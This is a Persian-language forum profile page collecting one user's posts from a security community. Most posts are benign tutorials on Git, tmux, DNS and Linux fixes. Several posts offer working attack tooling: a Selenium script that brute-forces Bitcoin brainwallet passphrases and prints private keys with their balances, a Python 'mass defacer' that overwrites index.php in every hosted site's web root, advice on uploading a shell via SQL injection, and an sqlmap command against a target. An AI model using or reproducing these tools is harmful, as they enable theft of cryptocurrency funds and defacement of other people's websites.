ts icon
سرور تیم اسپیک گاردایران

Goodzilam

کاندید مدیریت
  • تعداد ارسال ها

    198
  • تاریخ عضویت

  • آخرین بازدید

  • روز های برد

    26

تمامی مطالب نوشته شده توسط Goodzilam

  1. درود شما برای اپلود شل با SQL Injection نیاز به دسترسی یوزر root برای نوشتن دارید yes های نوشته شده به معنی داشتن یا نداشتن دسترسی برای نوشتن در فایل از طریق SQL Injection هست همونطور که اشاره کردید بجای root@local یوزر دیگه ای رو نشون میده, تا جایی که بصورت تجربی دیدم احتمال داشتن همچین دسترسی ای خیلی نادره داخل فیلم هم از دستوری برای ارتقا دسترسی استفاده نشده. به دنبال اسیب پذیری های دیگری بگردید موفق باشید./
  2. Goodzilam

    ابزار Tmux

    تیماکس (Tmux) چیست ؟ اگر علاقه مند به استفاده از محیط ترمینال باشید یا شرایط استفاده از ترمینال را برای شما ضروری کند, قطعا با مشکلاتی از جمله باز بودن تب ها و ترمینال های مختلف روبه‌رو میشوید ویا زمان زیادی صرف پیدا کردن ترمینال موردنظر و تشخیص ترمینال ها از یکدیگر میکنید ! اما ابزار قدرتمند Tmux باتوجه به قابلیت های بینظیرش بسیاری ازین مشکلات را رفع میکند همچنین یادگیری چنین ابزاری به حرفه‌ی شما قدرت میبخشد. دانلود و نصب Tmux نصب tmux در Ubuntu و Debian: sudo apt install tmux نصب tmux در CentOS و Fedora: sudo yum install tmux نصب tmux در macOS: brew install tmux و یا نصب از مخزن گیت‌هاب Tmux: git clone https://github.com/tmux/tmux.git cd tmux sh autogen.sh ./configure && make استفاده از Tmux با استفاده از دستور زیر تیماکس را اجرا میکنیم: tmux با چنین محیطی مواجه میشوید, دستورات تیماکس با یک پیشوند شروع میشوند که بطور پیشفرض کلید های Control + B هست. با استفاده از این ابزار ما میتوانیم در یک تب ترمینال , چندین ترمینال جداگانه ایجاد کنیم ! فرض کنید بر روی پروژه ای کار میکنیم که همزمان نیاز به کنترل دمای سرور و اطلاعات رد و بدل شده داریم پس با استفاده از کیلیدهای زیر در تیماکس, ترمینال فوق را به دو قسمت تقسیم میکنیم (هر قسمت را یک Pane میشناسیم) ! :تقسیم عمودی Ctrl + B + % :تقسیم اققی Ctrl + B + " دیگر دستورات: حرکت بین صفحه های تقسیم شده: Ctrl + B + فلش های بالا پایین راست و چپ :زوم کردن در یک صفحه Ctrl + B + Z :تغییر اندازه صفحه های ایجاد شده Ctrl + B + نگه داشتن فلش های بالا پایین راست و چپ :ساخت پنجره جدید Ctrl + B + C :و مشاهده دستورات دیگر با Ctrl + B + ?
  3. Goodzilam

    جستجوگر BTC

    درود اسکریپت زیر با کمک دیکشنری و یا لیست کلمات ( بروت فورس یا دیکشنری اتک) ولت های بیتکوین ایجاد میکند و موجودی هر حساب رو نمایش میدهد. توجه داشته باشید که اعضای انجمن گاردایران هیچگونه مسؤلیتی در قبال استفاده شما از اسکریپت زیر به عهده نخواهد گرفت! from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By import sys import time import random import string # using dictionary, for BruteForcing the used passphrases to create BTC Wallet path = input('wordlist full path: ') file = open(path, "r") # driver settings sys.path.insert(0, '/usr/lib/chromium-browser/chromedriver') chrome_options = webdriver.ChromeOptions() chrome_options.add_argument('--headless') chrome_options.add_argument('--no-sandbox') chrome_options.add_argument('--disable-dev-shm-usage') driver = webdriver.Chrome('chromedriver', options=chrome_options) # main code url = "https://brainwalletx.github.io" driver.get(url) print("Strats in 10 sec...") time.sleep(10) driver.find_element(By.XPATH, '//*[@id="togglePass"]').click() driver.find_element(By.XPATH, '//*[@id="toggleKeyCode"]').click() for line in file: # brute forcing process pwd = str(line.strip()) driver.find_element(By.XPATH, '//*[@id="pass"]').click() driver.find_element(By.XPATH, '//*[@id="pass"]').clear() driver.find_element(By.XPATH, '//*[@id="pass"]').send_keys(pwd) time.sleep(2) public = driver.find_element(By.XPATH, '//*[@id="addr"]').text # Address Details print("public: "+str(public)) print("priv8 : "+driver.find_element(By.XPATH, '//*[@id="sec"]').text) # checking address balance url = "https://www.blockchain.com/btc/address/"+str(public) driver.execute_script("window.open('');") time.sleep(1) driver.switch_to.window(driver.window_handles[1]) driver.get(url) balance = driver.find_element( By.XPATH, '//*[@id="__next"]/div[3]/div/div[3]/div[1]/div[1]/div[2]/div/div[6]/div[2]/span').text time.sleep(2) if str(balance) != "0.00000000 BTC": print("balance : "+str(balance)) else: print("****Empty Balance****") driver.close() driver.switch_to.window(driver.window_handles[0])
  4. درود, در مرحله اول حتما ایپی های ایرانی رو ذخیره کنید در سایت پلیس فتا (https://www.cyberpolice.ir) گزارش تهیه کنید و ایپی های ایرانی رو ضمیمه کنید ! میتونید با استفاده سایت https://myip.ms ایپی های ایرانی رو جستجو کنید و به شرکت ارایه دهنده اینترنتشون گزارش بدید.
  5. Goodzilam

    تبدیل py به EXE

    درود با استفاده از کتاب خانه auto-py-to-exe ما قادر به تبدیل (یا اصطلاحا کامپایل) یک فایل پایتون به یک فایل executable با فرمت exe هستیم ! برای نصب این کتاب خانه دستور زیر را وارد میکنیم: pip install auto-py-to-exe بعد از به اتمام رسیدن نصب, با دستور auto-py-to-exe اجرا میشود: با استفاده از دکمه Browse فایل پایتون موردنظر را انتخاب کنید و در قسمت زیرین One File را انتخاب کنید در اخر با فشردن دکمه Convert .py to .exe فرایند را آغاز کنید. فایل .exe شما در فولدری بنام output اماده است موفق باشید/.
  6. هارد به صورت Read only مانت شده و ازونجایی که دستور chmod هم یک عملیات نوشتاری هست کار نمیکنه ! با دستور زیر هاردتون رو ریمانت کنید: sudo mount -o remount,rw 'ادرس هارد' مطمن شید که هارد قفل نداشته باشد (مثل SD memory ها) موفق باشید
  7. درود این خبر مربوط به سال ۲۰۱۸ هست, متاسفانه دوستتون هم قربانی همین موضوع شده ! https://techcrunch.com/2018/07/03/new-malware-highjacks-your-windows-clipboard-to-change-crypto-addresses/
  8. درود برای پیدا کردن ایپی رنج میتونید از سایت زیر استفاده کنید https://www.countryipblocks.net/acl.php بر اساس کشور ایپی هارو دسته بندی کرده
  9. درود, همونطور که نوشته ۱۰۰ روز از آخرین باری که اپدیت کردید گذشته پس در اولین فرصت sqlmap رو اپدیت کنید و ادرس رو بدون کوتیشن ( " ) وارد کنید ممکنه مشکل رفع بشه مثال: sqlmap -u https://www.target.com/index.php?id=1 --tables
  10. توجه داشته باشید که متن زیر صرفا جهت آموزش هست و مسؤلیت هرگونه استفاده ای به عهده شماست ! میتونید از کتابخونه requests در پایتون استفاده کنید برای ارسال پکت در اسکریپت با استفاده از این سایت و کلیک کردن رو دکمه Generate iplogger یک ایپی لاگر ایجاد میکنید با هربار باز کردن لینک ایپی لاگر, ایپی فردی که لینک رو باز کرده ذخیره میشه شما میتونید ایپی های ذخیر شده را در قسمت Logged IP's مشاهده کنید (در عکس زیر بالا سمت چپ) ساخت اسکریپت: لینک ایپی لاگرتون رو از این قسمت کپی کنید حالا یک فایل با پسوند py ایجاد کنید و کد زیر کپی پیست کنید import requests url = "لینک ایپی لاگرتون" r = requests.post(url = url) لینک ایپی لاگر خودتون رو که کپی کردید در کد پیست و بعد سیو کنید پایتون و کتابخونه ذکر شده باید رو سرور نصب باشه وگرنه نیاز دارید تا اسکریپت رو با استفاده از auto-py-to-exe به فرمت exe تغییر بدید در سرور دکمه های ویندوز و r همزمان فشار بدید و عبارت زیر رو در پنجره جدیدِ وا شده, کپی پیست کنید shell:startup دکمه اینتر رو فشار بدید, حالا تو فولدر باز شده اسکریپت رو انتقال بدید با انتقال دادن فایل به فولدر استارت اپ هربار بعد از بالا اومدن سیستم فایل ذکر شده اجرا میشه و ایپی جدید سرور در سایت ذکر شده مشخص میشه نمونه ایپی ذخیره شده توسط اسکریپت: موفق باشید
  11. درود در مورد تغییر ایپی با خلاقیت میتونید متوجه تغییرش بشید نیاز به یک اسکریپت دارید که در هنگام اجرا,به شما پکت ارسال کنه و اسکریپت رو در فولدر " استارت اپ" (وقتی سیستم روشن میشه اسکریپت بصورت خودکار اجرا میشه) قرار بدید هروقت که پکت جدیدی دریافت کردید با بررسی کردنش ایپی جدید سرور رو بدست میارید
  12. درود. ابتدا دستور زیر رو وارد کنید nano /etc/wpa_supplicant.conf فایل باز شده رو بصورت زیر ادیت و سیو کنید: network={ ssid="نام وایرلس" psk="پسورد" } سپس دستورات زیر رو به ترتیب وارد کنید: sudo ip link set wlan0 down sudo ip link set wlan0 up sudo wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant.conf -Dnl80211,wext sudo dhclient wlan0
  13. آپلود شده در Uتیوب 👆 ‏برای استفاده از این تکنیک که Lamphone نام دارد, فقط نیاز به اتاق با یک لامپ موجود که از طریق پنجره قابل رویت باشد هست. همین کافی است تا این محققان با استفاده از لرزش هایی که صدای انسان در لامپ ایجاد میکند، صدای داخل اتاق را از فاصله ای چند ده متری بدون هیچ ردی شنود کنند. ‌ ‌ لرزش های ایجاد شده روی سطح لامپ توسط صدای انسان، باعث تغییرات کوچکی در نور لامپ میشود، بنابراین محققان میتوانند با استفاده از یک تلسکوپ، یک حسگر الکترو-نوری و یک لپتاپ، از فاصله ای دور، با استفاده از همین تغییرات کوچک نور را تبدیل به سیگنالهای الکتریکی و در نتیجه به طور همزمان صدای موجود در اتاق رو شنود و بازیابی کنند.
  14. Goodzilam

    آموزش Git

    بخش پنجم در این بخش به ‌Branch میپردازیم. - شاخه (Branch) در ابتدای ساخت یک ریپو ما در شاخه master قرار داریم, از فواید ساخته برنچ میتوان به: ۱. ایجاد محیطی برای همکاری دو برنامه نویس (بطور مثال) ۲. محلی برای توسعه ورژن های بعدی پروژه ۳. رفع مشکل (Issue) یا ایجاد قابلیت های جدید به یک ریپو (با ایجاد pull request, برنچ رو با برنچ master ادغام میکنیم) و ... شاخه ها مانند دو جهان موازی در کنار هم وجود دارند اما سرانجام باید به شاخه اصلی یعنی master ختم شوند. برای اعمال تغییرات شاخه جدید در master باید عمل ادغام (merge) صورت گیرد. تغییرات اعمال شده بر روی branch قرار دارند و مستقیما قابل دستیابی هستند. برای ساخت برنچ از دستور زیر استفاده میکنیم: git branch branch-name و برای پاک کردن یک برنچ: git branch -d branch-name فرض کنید ورژن دوم برنامه ما در برنچ جدیدمان اماده هست, حالا نوبت ادغام (merge) کردن برنچ جدیدمون با مستر است! git merge branch-name توجه داشته باشید در ریپویی که دسترسی اعمال تغییرات ندارید,نیاز به ایجاد Pull Request دارید ساده تر توضیح بدم با اینکار از صاحب ریپو درخواست میکنید تا برنچ شما رو با برنچ دیگری ادغام کنه - Conflict قطعا در آینده نزدیک با مشکل رایجی به نام Conflict برخورد خواهید کرد. این اتفاق زمانی رخ می‌دهد که محتوای فایل در شاخه های مختلف احتمال جایگزینی و از بین رفتن محتویات فعلی شوند. اما رفع این خطا به عهده شماست و باید یکی از محتویات یا هردو را پاک کنید. خلاصه این بخش برنچ ها شاخه هایی از مسیر اصلی پروژه ما هستند که هرزمان درصورت نیاز با مسیر اصلی ادغام میشوند ساخت برنچ یا شاخه جدید با دستور git branch ادغام برنچ با دستور git merge کانفلیکت یا تداخل مشکلی رایج هست که با ادیت کردن فایل ذکر شده برطرف میشود
  15. Goodzilam

    DNS چیست ؟

    DNS چیست ؟ DNS مخفف شدهٔ Domain Name System است و متصل کنندهٔ آدرس دامنه (Domain) به IP ! برای شفاف سازی بهتر است مثالی آشنا بزنیم: برای مثال /https://guardiran.org/topic یک URL است‌. بخش سبز: پروتکل انتقال بخش آبی: دامین بخش قرمز: دایرکتوری فایل هر دامنه شامل دو قسمت ۱. نام دامنه (Guardiran) و ۲. پسوند دامنه (org) است. و همچنین هر دامنه بر روی هاست (سرور) میزبانی میشود ! سرور ها همانند سایر دستگاه های متصل به شبکه از IP (مثال: 178.22.120.98) برخوردار هستند؛ به این معنا که سرورها توسط دامنه رویت نمیشوند و با یک IP Address مشخص میشنود‌! پس DNS درواقع یک دفترچه تلفن برای اتصال آدرس IP ها به دامنه ها است. خطرات احتمالی با تغییر DNS احتمال وقوع خطر های زیر را افزایش میدهید: > شرکت کردن در حملات DDoS به صورت نا آگاهانه (فرستادن پکت ها به ایپی ادرس جابه جا شده با ادرس واقعی) > افتادن در دام Phishing (شبیه سازی دامین مورد نظر در سرور دیگر و در نتیجه تعویض ایپی ها برای سرقت اطلاعات) > حملات MITM (رصد اطلاعات مبادله شده توسط شخص سوم) و ...
  16. Goodzilam

    آموزش Git

    بخش چهارم فایل README.md چیست ؟ README یک فایل تکست است (از برخی تگ های HTML پشتیبانی میکند) و به خواننده پروژه را معرفی و توضیح میدهد ! معمولا این فایل حاوی پیشنیازها و نحوه نصب است. مثال یک README.md جامع در این لینک دستور Diff دستور diff تغییرات اعمال شده در یک فایل را مشخص میکند! (خط های پاک شده, ادیت شده و اضافه شده) در ریپوی موجودمون فایلی به اسم README.md ایجاد میکنیم root@1337:~/GitTutorial$ cat README.md # Welcome Guardiran Git tutorial. root@1337:~/GitTutorial$ git add -A root@1337:~/GitTutorial$ git commit -m "Create README.md" [detached HEAD 59d6663] Create README.md 1 file changed, 2 insertions(+) create mode 100644 README.md root@1337:~/GitTutorial$ و آدرس این تاپیک را در اخر فایل README.md اضافه میکنیم. root@1337:~/GitTutorial$ cat README.md # Welcome Guardiran Git tutorial. root@1337:~/GitTutorial$ cat README.md # Welcome Guardiran Git tutorial. Topic Link below <a href="https://guardiran.org/topic/9191-%D8%A2%D9%85%D9%88%D8%B2%D8%B4-git/">GuardIran Topic</a> حال برای مشاهده کردن تغییرات اعمال شده دستور زیر رو اعمال میکنیم: git diff README.md root@1337:~/GitTutorial$ git diff README.md diff --git a/README.md b/README.md index c607764..5b38986 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,3 @@ # Welcome -Guardiran Git tutorial. +Guardiran Git tutorial. Topic Link below +<a href="https://guardiran.org/topic/9191-%D8%A2%D9%85%D9%88%D8%B2%D8%B4-git/">GuardIran Topic</a> تغییرات قبل و بعد توسط - + نمایش داده می‌شود. دقت کنید تغییرات README.md در Stage قرار نگرفته‌اند. پس از اضافه کردن فایل به Stage اگر از دستور git diff استفاده کنیم خروجی نمایش داده نمیشود ! باید برای مشاهده جزئیات تغییرات فایل های Stage شده از دستور زیر استفاده می کنیم: git diff --staged خلاصه این بخش README.md فایلی است که توضیحات جامعی درباره ریپو به کاربران میدهد مشاهده تغییرات اعمال شده قبل از استیج با دستور git diff مشاهده تغییرات اعمال شده بعد از استیج با دستور git diff --staged
  17. درود، دستور زیر رو در فولدری که فایل مورد نظر هست اجرا کنید sudo chmod 0777 *
  18. Goodzilam

    آموزش Git

    بخش سوم در این بخش به نحوه حذف کردن و برگرداندن تغیرات اعمال شده میپردازم! تا به اینجا، فایلی ایجاد کردیم به اسم HW.txt سپس فایل رو به مرحله استیج بردیم و در نهایت کامیت کردیم. تغییر به محتویات فایل HW.txt که شامل "Hello World" بود "!!!" را اضافه کردیم و سپس تغییرات اعمال شده را استیچ و کامیت کردیم با دستور git log میتونید تغییرات اعمال شده در پروژه رو مشاهده کنید اولین کامیت مربوط به ایجاد فایل HW.txt و دومین کامیت مربوط ادیت کردن HW.txt هست! به عکس بالا دقت کنید، هر کامیت با یک هش (مثال بالا: 67b8be309899981bd91e4720ed7ec1a96c8d04b3 )مشخص میشود. در انتها آخرین کامیت عبارت "HEAD -> master" مشاهده میکنید، کلمه HEAD به اخرین کامیت اعمال شده اشاره دارد و کلمه master به برنچ (Branch, در ادامه توضیح خواهیم داد) اشاره میکند ! همونطور که میدونید گیت برای مدیریت نسخه هست و امکان مشاهده تغییرات در هر کامیت و برگشت به اون ورژن رو میدهد ! برگردیم به مثال بالا، میخوایم به ورژنی از پروژه بریم که فایل HW.txt حاوی "!!!" نبود. از انجایی که در اخرین کامیت ما فایل HW.txt ادیت کردیم، میدانیم که در کامیت یکی مانده به اخر "!!!" وجود ندارد پس برای برگشت به ورژن ذکر شده کافی است دستور زیر را اجرا کنیم: git checkout HEAD~1 اما اگر ورژن مورد نیاز ما دقیقا یکی مانده به اخر نباشه چی ؟ همونطور که گفتم هر کامیت با هش مخصوصی مشخص میشود، پس بجای HEAD~1 (کامیت قبل از HEAD) قسمت اولیه از هش کامیت (یا کل هش) رو قرار میدیم ! git checkout cb0325646 و برای برگشت به HEAD از دستور زیر استفاده میکنیم: git checkout - آن استیج و کامیت حالا فرض کنید که به اشتباه فایلی ناخواسته رو استیج کردید! برای خارج کردن فایلی از حالت استیج دستور زیر رو اجرا کنید: git restore --staged . همونطور که میبینید فایلی که حاوی پسورد بوده رو به اشتباه استیچ کردیم و با دستور ذکر شده از حالت استیج خارج کردیم. اما اگر نتنها فایل رو استیج بلکه کامیت هم میکردیم چه ؟ برای ریست کردن کامیت به اشتباه انجام شده از دستور زیر استفاده کنید git reset --hard HEAD~1 خلاصه این بخش رفت امد بین ورژن ها با دستور git checkout hash خارج کردن فایل از حالت استیج با دستور git restore --sateged حذف کامیت انجام شده با دستور git reset
  19. Goodzilam

    آموزش Git

    مقدمه طبق گفته های قبلی گیت یک سیستم کنترل نسخه (Version Control) هست ! به این معنا که یکی از ویژگی های گیت، جلوگیری از پیش اومدن همچین صحنۀ آشنایی هست: * توجه داشته باشید که محدودۀ کاربران گیت فقط به برنامه نویسان و شاخه تکنولوژی محدود نمیشه! * یکی از ویژگی بسیار مهم گیت امکان کار گروهی می‌باشد، می‌توانید ببینید چه تغییراتی توسط چه شخصی و در چه زمانی صورت گرفته است. کنترل های نسخه دو دسته هستند: متمرکز و توزیع شده. در نوع متمرکز فایل های پروژه و تاریخچه آن بر روی سرور مرکزی نگهداری شده و سیستم ها با اتصال به سرور به داده ها دسترسی پیدا می‌کنند. ایراد اصلی این نوع کنترل نسخه غیر قابل اعتماد بودن آن است زیرا در صورت اختلال در اتصال به سرور یا قطعی سرور مرکزی، تاریخچه و دیگر ویژگی های کنترل نسخه از دسترس خارج خواهد شد. برای حل این مشکل، کنترل نسخه توزیع شده به میان آمد که فایل های پروژه و تاریخچه آن علاوه بر سرور، بر روی کلاینت کاربر هم قابل دسترس است. با این توضیحات، گیت یک سیستم کنترل نسخه توزیع شده است؛ که از ویژگی های آن می‌توان به موارد زیر اشاره کرد: سریع و کم حجم شاخه بندی تاریخچه عملیات بازگردانی تغییرات مقایسه تغییرات بخش دوم مباحث این مطلب در محیط خط فرمان Git Bash توضیح داده شده‌اند اما در نرم افزار های دیگر هم قابل استفاده هستند. در منؤ استارت عبارت Git Bash رو تایپ کنید و برنامه رو اجرا کنید در محیط ترمینال ابتدا به تغییر کانفیگ میپردازیم، با دستور زیر نام کاربری خود را تعریف کنید: git config --global user.name 'Goodzilam' و با دستور زیر ایمیل: git config --global user.email 'Goodzilam@gmail.com' حالا ما اماده ساخت اولین پروژه یا اصطلاحا ریپو (ابتدای کلمه Repository) هستیم ! ترمینال رو به فولدر مورد نظر برای ایجاد پروژه هدایت کنید و با دستور زیر یک ریپو ایجاد کنید: git init با دستور بالا یک پوشه مخفی git درون دایکرتوری فعلی ایجاد می‌کند و از این پس دایرکتوری را تحت مدیریت گیت قرار میده ! گیت برای ارائه کنترل نسخه نیاز به محتوا برای کار کردن دارد پس حالا وقت اضافه کردن محتویات به ریپازیتوریمون هست. با دستور زیر یک فایل تکست با محتویات Hello World در ریپازیتوریمون ایجاد میکنیم: echo "Hello World" >> HW.txt اتفاقی که رخ میده، گیت متوجه یک فایل جدید میشود ! با دستور زیر میتوانید از وضعیت فعلی ریپو خبردار شوید (در اینده خیلی این دستور رو تکرار میکنید) : git status در مراحل زیرین سعی کنید مرتب از دستور بالا استفاده کنید تا متوجه روند کاری بشوید. همونطور که مشاهده میکنید فایل ایجاد شده رو Untracked مشخص کرده، به این معنا که گیت هیچ تعاملی با آن ها ندارد. به متن قرمز رنگ دقت کنید، اسامی فایل های Untracked در اینجا نمایان می‌شوند. قبل از ثبت شدن فایل ها به تاریخچه گیت، فایل ها باید آماده ثبت شوند که به آن Stage کردن می‌گویند با دستور زیر میتوانید فایل ها را به مرحله Stage ببرید: فقط یک فایل مشخص git add file.txt یا تمامی فایل ها git add -A فایل تکست ما در مرحله استیج قرار گرفته و اماده ثبت در تاریخچه گیت می باشد که به آن Commit گفته می شود. مرحله کامیت نیازمند ارائه توضیحاتی در مورد تغییرات رخ داده در ریپو است پس با دستور زیر فایل رو از مرحله استیج به کامیت میبریم: git commit -m "Create HW.txt" اولین کامیت به گیت ارسال شده است و در آینده می‌توان وضعیت فایل را به وضعیت کامیت های ثبت شده بازگرداند. این نکته را هم به یاد داشته باشید که مرسوم است متن اولین کامیت "Initial commit" ثبت شود. برای مشاهده تاریخچه کامیت های ثبت شده در ریپو از دستور زیر استفاده کنید: git log دستور log اطلاعاتی همچون مشخصه کامیت به همراه شاخه متعلق به آن، نام و آدرس ایمیل فرد ثبت کننده، تاریخ دقیق و جزئیات کامیت را چاپ می‌کند. مشخصه های کامیت با الگوریتم رمزنگاری SHA-1 تولید و Hash می‌شوند. خلاصه این بخش گیت برای مدیریت نسخه های یک پروژه و ساده سازی امکان همکاری چندین نفر بر روی پروژه است. برای ساخت یک پروژه (ریپو یا ریپازیتوری) از دستور git init استفاده میکنیم. برای مشاهده تغییرات در ریپو از دستور git status استفاده میکنیم. مراحل ثبت تغییرات جدید (حذف، افزودن و یا تغییر فایل) در ریپوی لوکال: استیج کردن فایل یا فایل ها با git add کامیت کردن تغییرات با git commit
  20. مس دیفیسر Python import os # commands to get folders ndir = os.popen("find * -maxdepth 0 -type d | wc -l") ndir = ndir.read() ndir = int(ndir) dirl = os.popen("find * -maxdepth 0 -type d") dirl = dirl.read() dirn = [] x = 0 # writing each folder to a list for i in range(ndir): name = "" while dirl[x] != '\n': name += dirl[x] x += 1 x += 1 dirn.append(name) # MassDeface Process for folder in range(ndir): # WebDir path cmd = "cp index.php /var/www/vhosts/"+dirn[folder]+"/httpdocs/" os.system(cmd) print("http://"+dirn[folder]+"/index.php")
  21. Goodzilam

    آموزش Git

    گیت چیست ؟ نویسندۀ و خالق اصلی گیت لینوس توروالدز (همچنین سازندۀ کرنل لینوکس) هست گیت یک سیستم کنترل نسخه برای نظارت بر روی تغییرات اعمال شده در طول توسعه نرم افزار می‌باشد. این سیستم برای هماهنگی برنامه نویس ها طراحی شده است اما می‌توان از آن برای دنبال کردن تغییرات در هر گونه نوع فایل یا پروژه ای استفاده کرد. هدف گیت فراهم کردن سرعت، یکپارچگی داده ، محیط‌ کار غیرخطی و توزیع شده می باشد. نصب گیت ! ابتدا این لینک را باز کنید و با توجه به سیستم عامل خود گیت رو از بخش زیر دانلود کنید ! فایل دانلود شده را اجرا کنید و مراحل نصب را طبق عکس های زیر سپری کنید ! ممکن است به دلیل تفاوت ورژن در نسخه هایه اینده این مراحل کمی دچار تفییر بشوند در بخش آخر پیشنهاد می‌شود مطابق عکس موارد را انتخاب کنید. توضیحات هرکدام: گزینه Additional icons بر روی صفحه دسکتاپ شما یک میانبر می سازد. گزینه Windows Explorer integration به شما این امکان را می‌دهد تا با کلیک راست بتوانید Git را در مسیر جاری اجرا کنید. Git Bash محیط تحت خط‌ فرمان و Git GUI محیط گرافیکی می‌باشد. گزینه Git LFS یا Large File Support برای کار کردن با فایل های حجیم طراحی شده است و از دانلود چندباره آن ها با جایگزینی پوینتر جلوگیری می‌کند. گزینه Associate .git* configuration files with the default text editor قابلیت شناسایی پسوند git و باز کردن آن با ویرایشگر پیش فرض (مانند VSCode) را به سیستم عامل شناسایی می‌کند. تنظیمات این گزینه جلوتر توضیح داده خواهد شد. گزینه Associate .sh files to be run with Bash قابلیت شناسایی پسوند sh (اسکریپت Unix Shell) با محیط خط فرمان Bash را به سیستم عامل شناسایی می‌کند. اگر مایل هستید از خط فرمان های Bash دیگری مانند Cygwin به جای MSYS تعبیه شده استفاده کنید این گزینه را انتخاب نکنید. گزینه Use a TrueType font in all console windows پشتیبانی بهتر از کاراکتر های Unicode در محیط خط فرمان را فراهم می‌کند. استفاده از این قابلیت لزومی ندارد. گزینه Check daily for Git for Windows updates بطور روزانه بروزرسانی های گیت را اعلام می‌کند. در بخش آخر ویرایشگر برای Git انتخاب می‌شود. همانطور که مشاهده می‌کنید انتخاب پیش فرض Vim می‌باشد. Vim یک ویرایشگر بسیار محبوب در ترمینال است اما برای افرادی که تجربه کار با آن را ندارند، پیشنهاد نمی‌شود. و به همین دلیل ما از ویرایشگر VSCode (لینک دانلود) استفاده میکنیم ! پس مطابق تصویر Use Visual Studio Code as Git's default editor را انتخاب و سپس بر روی Next کلیک کنید. اگر مراحل نصب VSCode را در هین نصب گیت انجام داده‌اید باید Git Setup را کاملا ببندید و مراحل نصب را از ابتدا تکرار کنید. در صورت نیاز، ویراشگر پیش فرض از طریق خط فرمان قابل تغییر است. گزینه Use Git from Git Bash Only: تغییری در آدرس PATH ایجاد نخواهد شد و ابزار git تنها از طریق Git Bash قابل دسترس خواهد بود. گزینه Git from the command line and also from 3rd-party software: دسترسی به git از هر برنامه سیستم عامل علاوه بر Git Bash فراهم خواهد شد. گزینه Use Git and optional Unix tools from the Command Prompt: تمام ابزار Unix و دستورات git از خط فرمان ویندوز قابل دسترس بوده و جایگزین ابزار های سیستم عامل خواهند شد. در بخش آخر نوبت به انتخاب ترمینال یا خط فرمان می‌رسد. گزینه اول برای اجرای Git Bash به همراه یک ترمینال شبیه سازی شده یونیکس (MinGW) و گزینه دوم خط فرمان ویندوز (cmd) است. استفاده از گزینه دوم مخصوصا در نسخه های قدیمی‌تر ویندوز توصیه نمی‌شود. پس گزینه Use MinTTY را انتخاب کنید. Install رو کلیک کنید و صبر کنید تا نصب به پایان برسد. گیت رو با موفقیت نصب کردید ! بخش اول
  22. Goodzilam

    آموزش Git

    درود در این تاپیک آموزش نصب گیت (Git) و استفاده از اون در سطح مبتدی قرار خواهد گرفت ! لطفا درصورت مشاهده هرگونه ایراد و سوال به بنده در خصوصی اطلاع بدید ❤️ منابع: لینک 1 لیتک 2
  23. Goodzilam

    30.000 نفر

    بنده هم تبریک میگم به امید موفقیت های بیشتر ! قطعا هرچیزی به سادگی بدست نمیاد، اعضای قدیمی درجریان اتفاقات و زحمات کشیده شده در این 6 سال هستند.